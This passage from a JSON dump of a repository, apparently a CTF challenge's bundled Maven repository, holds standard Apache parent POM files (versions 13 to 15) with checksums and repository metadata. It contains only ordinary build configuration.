Create a source-release artifact that contains the fully buildable \n               project directory source structure. This is the artifact which is \n               the official subject of any release vote. -->\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.4</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>${sourceReleaseAssemblyDescriptor}</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileFormat>gnu</tarLongFileFormat>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n              <useAgent>${gpg.useagent}</useAgent>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>    \n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/13/apache-13.pom.sha1",
    "content": "15aff1faaec4963617f07dbe8e603f0adabc3a12"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/14/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:54 CST 2018\napache-14.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/14/apache-14.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/asf/ -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>14</version>\n  <packaging>pom</packaging>\n\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <url>http://www.apache.org/</url>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <prerequisites><!-- just for information: not inherited in child poms -->\n    <maven>2.2.1</maven><!-- prerequisite of some plugins -->\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-14</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-14</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-14</url>\n  </scm>\n\n  <distributionManagement>\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <sourceReleaseAssemblyDescriptor>source-release</sourceReleaseAssemblyDescriptor>\n    <gpg.useagent>true</gpg.useagent>\n    <arguments />\n  </properties>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>3.1</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-dependency-plugin</artifactId>\n          <version>2.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.8.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-failsafe-plugin</artifactId>\n          <version>2.16</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.5.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.9.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.2</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.4.2</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release ${arguments}</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.9</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <version>1.0-beta-2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.16</version><!-- keep maven-failsafe-plugin in sync -->\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>0.10</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.6.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- Create a source-release artifact that contains the fully buildable \n               project directory source structure. This is the artifact which is \n               the official subject of any release vote. -->\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.4</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>${sourceReleaseAssemblyDescriptor}</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileMode>gnu</tarLongFileMode>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n              <useAgent>${gpg.useagent}</useAgent>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-scm-publish-plugin</artifactId>\n              <version>1.0</version>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>    \n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/14/apache-14.pom.sha1",
    "content": "5c7956a91f3faaa9534cdc2b571c90bde2235157"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/15/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:31 CST 2018\napache-15.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/15/apache-15.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/asf/ -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>15</version>\n  <packaging>pom</packaging>\n\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <url>http://www.apache.org/</url>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>Apache License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <prerequisites><!-- just for information: not inherited in child poms -->\n    <maven>2.2.1</maven><!-- prerequisite of some plugins -->\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-15</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-15</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-15</url>\n  </scm>\n\n  <distributionManagement>\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <sourceReleaseAssemblyDescriptor>source-release</sourceReleaseAssemblyDescriptor>\n    <gpg.useagent>true</gpg.useagent>\n    <arguments />\n    <!-- Specify the default compiler source/target as 1.4 for backwards compatibility -->\n    <maven.compiler.source>1.4</maven.compiler.source>\n    <maven.compiler.target>1.4</maven.compiler.target>    \n  </properties>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-dependency-plugin</artifactId>\n          <version>2.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.8.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-failsafe-plugin</artifactId>\n          <version>2.17</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.9</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.5</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.9.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.3</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release ${arguments}</arguments>\n            <waitBeforeTagging>10</waitBeforeTagging>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.9.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <version>1.0-beta-2</version><!-- last version compatible with Maven 2: latest is configured in profile -->\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.4</version>\n          <dependencies><!-- TODO remove when upgrading m-site-p to 3.4.1: see MSITE-724 -->\n            <dependency>\n              <groupId>org.apache.maven</groupId>\n              <artifactId>maven-archiver</artifactId>\n              <version>2.5</version>\n            </dependency>\n            <dependency>\n              <groupId>org.codehaus.plexus</groupId>\n              <artifactId>plexus-archiver</artifactId>\n              <version>2.4.4</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.17</version><!-- keep maven-failsafe-plugin in sync -->\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>0.11</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.6.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- Create a source-release artifact that contains the fully buildable \n               project directory source structure. This is the artifact which is \n               the official subject of any release vote. -->\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.4</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>${sourceReleaseAssemblyDescriptor}</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileMode>gnu</tarLongFileMode>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-scm-publish-plugin</artifactId>\n              <version>1.1</version>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>    \n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/15/apache-15.pom.sha1",
    "content": "95c70374817194cabfeec410fe70c3a6b832bafe"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/16/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:32 CST 2018\napache-16.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/16/apache-16.pom",
